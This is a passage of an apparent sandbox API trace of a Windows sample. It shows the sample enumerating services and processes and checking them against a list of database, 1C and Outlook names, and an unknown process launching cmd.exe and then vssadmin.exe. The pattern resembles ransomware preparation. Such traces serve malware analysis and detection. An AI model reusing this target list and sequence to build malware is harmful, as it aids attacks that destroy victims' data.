3 [0050.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.368] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.369] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.369] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.369] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.369] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.369] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.369] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.369] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.369] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.369] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.369] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.369] lstrlenW (lpString="Winmgmt") returned 7 [0050.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.369] lstrlenW (lpString="WPDBusEnum") returned 10 [0050.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.369] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0050.369] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0050.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0050.369] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40038c8 | out: hHeap=0x4b0000) returned 1 [0050.369] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0050.372] Process32FirstW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.372] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.373] lstrlenW (lpString="System") returned 6 [0050.373] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.373] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.373] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.373] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.373] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0050.373] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0050.373] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0050.373] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.374] lstrlenW (lpString="smss.exe") returned 8 [0050.374] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0050.374] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0050.374] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0050.374] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0050.374] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0050.374] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0050.374] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0050.374] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.375] lstrlenW (lpString="csrss.exe") returned 9 [0050.375] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.375] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0050.375] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0050.375] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0050.375] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0050.375] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0050.375] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0050.375] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.376] lstrlenW (lpString="wininit.exe") returned 11 [0050.376] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0050.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0050.376] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0050.376] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.376] lstrlenW (lpString="csrss.exe") returned 9 [0050.376] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.377] lstrlenW (lpString="winlogon.exe") returned 12 [0050.377] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.378] lstrlenW (lpString="services.exe") returned 12 [0050.378] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.378] lstrlenW (lpString="lsass.exe") returned 9 [0050.378] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.379] lstrlenW (lpString="lsm.exe") returned 7 [0050.379] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.379] lstrlenW (lpString="svchost.exe") returned 11 [0050.379] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.380] lstrlenW (lpString="svchost.exe") returned 11 [0050.380] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.381] lstrlenW (lpString="svchost.exe") returned 11 [0050.381] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.381] lstrlenW (lpString="svchost.exe") returned 11 [0050.381] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.382] lstrlenW (lpString="svchost.exe") returned 11 [0050.382] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.383] lstrlenW (lpString="audiodg.exe") returned 11 [0050.383] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.383] lstrlenW (lpString="svchost.exe") returned 11 [0050.383] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.384] lstrlenW (lpString="svchost.exe") returned 11 [0050.384] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.385] lstrlenW (lpString="dwm.exe") returned 7 [0050.385] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.385] lstrlenW (lpString="explorer.exe") returned 12 [0050.385] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.386] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.386] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.387] lstrlenW (lpString="taskhost.exe") returned 12 [0050.387] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.387] lstrlenW (lpString="svchost.exe") returned 11 [0050.387] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.388] lstrlenW (lpString="taskeng.exe") returned 11 [0050.388] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.389] lstrlenW (lpString="taskhost.exe") returned 12 [0050.389] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0050.389] lstrlenW (lpString="chem venues.exe") returned 15 [0050.389] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0050.390] lstrlenW (lpString="month.exe") returned 9 [0050.390] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0050.391] lstrlenW (lpString="glasgow.exe") returned 11 [0050.391] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0050.391] lstrlenW (lpString="rubber.exe") returned 10 [0050.391] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0050.393] lstrlenW (lpString="petroleum.exe") returned 13 [0050.393] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0050.394] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0050.394] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0050.395] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0050.395] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0050.395] lstrlenW (lpString="batman_oliver.exe") returned 17 [0050.395] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0050.396] lstrlenW (lpString="formation.exe") returned 13 [0050.396] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0050.397] lstrlenW (lpString="whole.exe") returned 9 [0050.397] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0050.397] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0050.397] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0050.398] lstrlenW (lpString="disorder.exe") returned 12 [0050.398] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0050.398] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0050.399] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0050.402] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0050.403] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0050.410] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0050.410] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0050.411] lstrlenW (lpString="perspective.exe") returned 15 [0050.411] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0050.411] lstrlenW (lpString="demand-site.exe") returned 15 [0050.411] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0050.412] lstrlenW (lpString="attachment.exe") returned 14 [0050.412] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0050.412] lstrlenW (lpString="valid-permit.exe") returned 16 [0050.412] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0050.413] lstrlenW (lpString="knights.exe") returned 11 [0050.413] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.414] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.414] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0050.414] lstrlenW (lpString="ohbdap.exe") returned 10 [0050.414] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.415] lstrlenW (lpString="cmd.exe") returned 7 [0050.415] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.416] lstrlenW (lpString="conhost.exe") returned 11 [0050.416] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0050.416] lstrlenW (lpString="vssadmin.exe") returned 12 [0050.416] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0050.417] lstrlenW (lpString="VSSVC.exe") returned 9 [0050.417] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.417] lstrlenW (lpString="svchost.exe") returned 11 [0050.418] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0050.418] CloseHandle (hObject=0x214) returned 1 [0050.418] Sleep (dwMilliseconds=0x1f4) [0051.496] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52f9e0 [0051.499] EnumServicesStatusExW (in: hSCManager=0x52f9e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0051.510] GetLastError () returned 0xea [0051.513] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x40038c8 [0051.513] EnumServicesStatusExW (in: hSCManager=0x52f9e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40038c8, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40038c8, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0051.517] CloseServiceHandle (hSCObject=0x52f9e0) returned 1 [0051.517] lstrlenW (lpString="Appinfo") returned 7 [0051.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0051.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0051.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0051.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0051.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0051.517] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0051.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.517] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0051.517] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0051.517] lstrcmpiW (lpString1="sqlserveradhelper", 